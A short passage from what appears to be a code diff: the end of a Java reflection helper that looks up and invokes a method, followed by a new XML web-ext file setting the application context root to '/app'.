clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
}
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="UTF-8"?>
<web-ext>
<context-root uri="/app"/>
</web-ext>